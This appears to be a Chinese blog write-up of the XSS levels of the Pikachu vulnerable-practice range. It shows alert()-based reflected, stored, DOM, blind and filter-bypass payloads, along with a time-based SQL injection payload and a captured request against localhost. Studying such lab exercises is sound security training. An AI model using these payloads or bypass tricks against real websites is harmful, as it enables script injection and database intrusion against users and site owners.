Pikachu靶场通关之XSS(跨站脚本)

反射型xss(get)

输入xss代码,发现长度不够,审查元素修改下长度,输入payload

<script>alert()</script>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
提交后,发现触发了xss

查看后台代码,发现 后台代码并没有对你输入的东西 做任何修改 ,只是原封不动的输出了
在这里插入图片描述

反射性xss(post)

在这里插入图片描述

输入账号密码:admin/123456 登入
在这里插入图片描述
输入payload:

<script>alert()</script>

发现没有反应,弹出窗口,成功
在这里插入图片描述
查看后台代码,发现 后台代码并没有对你输入的东西 做任何修改 ,只是原封不动的输出了
在这里插入图片描述

存储型xss

在这里插入图片描述

我们随便输入一个字符串,发现会在留言表进行显示
在这里插入图片描述
那么我们尝试输入下payload

<script>alert()</script>

输入后,发现出现弹窗,再次进去还是会出现弹窗
在这里插入图片描述
审查元素发现,xss已经永久在网页里了
在这里插入图片描述
查看后台代码,发现当我们留言后,判断message是否存在,并且 message不为空
进行了转义,防止sql注入插数据库的时候,把massage 插入到表中存下来,存到后台
在这里插入图片描述
将存储的留言 都显示出来
在这里插入图片描述
彩蛋:
发现删除功能有sql注入的可能
点击删除尝试抓包改变id

GET /xscj/pikachu-master/vul/xss/xss_stored.php?id=56 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/xscj/pikachu-master/vul/xss/xss_stored.php
Cookie: PHPSESSID=bg229f1cuph7de6mef662p1446
Connection: close

无回显和报错,可以尝试延时注入
payload:
延时注入

select if(length(database())=7,sleep(100),1)

在这里插入图片描述

DOM型xss

HTML DOM树,可以理解为DOM为一个一个访问html的标准编程接口
htmldom
在这里插入图片描述
输入测试代码’"<> 显示的内容和我们的输入的有所不同
审查元素发现getElementById获取标签id为text的值传递给str,str通过字符串拼接到a标签中。所以我们要闭合前面的标签
在这里插入图片描述
在这里插入图片描述

<a href='"+str+"'>what do you see?</a>
<div id="dom"></div>

payload:

' onclick="alert()">

分析将payload拼接到str中dom会得到

<a href='' onclick="alert('xss')">'>what do you see?</a>

可以得出链接名变成了’>what do you see?,而href变成了οnclick=“alert(‘xss’)”

在这里插入图片描述

'><img src="#" οnmοuseοver="alert('xss')">

分析将payload拼接到str中dom会得到

<a href=''><img src="#" onmouseover="alert('xss')">'>what do you see?</a>

可是变成了一个图片链接,鼠标一离开图片就会触发
在这里插入图片描述

DOM型xss-x

payload与上面一样

xss之盲打

xss盲打是一种攻击场景。我们输出的payload不会在前端进行输出,当管理员查看时就会遭到xss攻击。
输入常规的payload:<script>alert()</script>,点击提交后发现这里提示一段文字,应该是直接打到后台了,找到后台,登录进去看看
在这里插入图片描述
后台地址是/xssblind/admin_login.php登录即可触发xss
在这里插入图片描述

xss之过滤

输入<script>alert()</script>发现都被过滤了
在这里插入图片描述
我们尝试下大写绕过

<Script>alert()</Script>

成功!!!
当script进行了小写操作成为滤关键词时,可以尝试其他的payload,如

<img src=x onmouseover="alert()">
<img src=x onerror="alert()">

xss之htmlspecialchars

htmlspecialchars没有对 ’ 进行实体转码
我们可以构造payload

' οnclick='alert()'>

绕过即可

xss之href输出

尝试使用payload

' οnclick='alert()'>

发现不行
查看源代码只htmlspecialchars还对单引号进行了实体编码,所以单引号不行了

 $message=htmlspecialchars($_GET['message'],ENT_QUOTES);

但可以在a标签的href属性里面使用javascript协议来执行js,可以尝试使用伪协议绕过
javascript:alert()
在这里插入图片描述
点击即可触发弹窗

xss之js输出

输入测试代码查看源码
输入的代码被生成在js中并赋值给$ms。我们的输入被带入到js中,可以闭合

</script><script>alert()</script>

在这里插入图片描述
成功弹窗

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值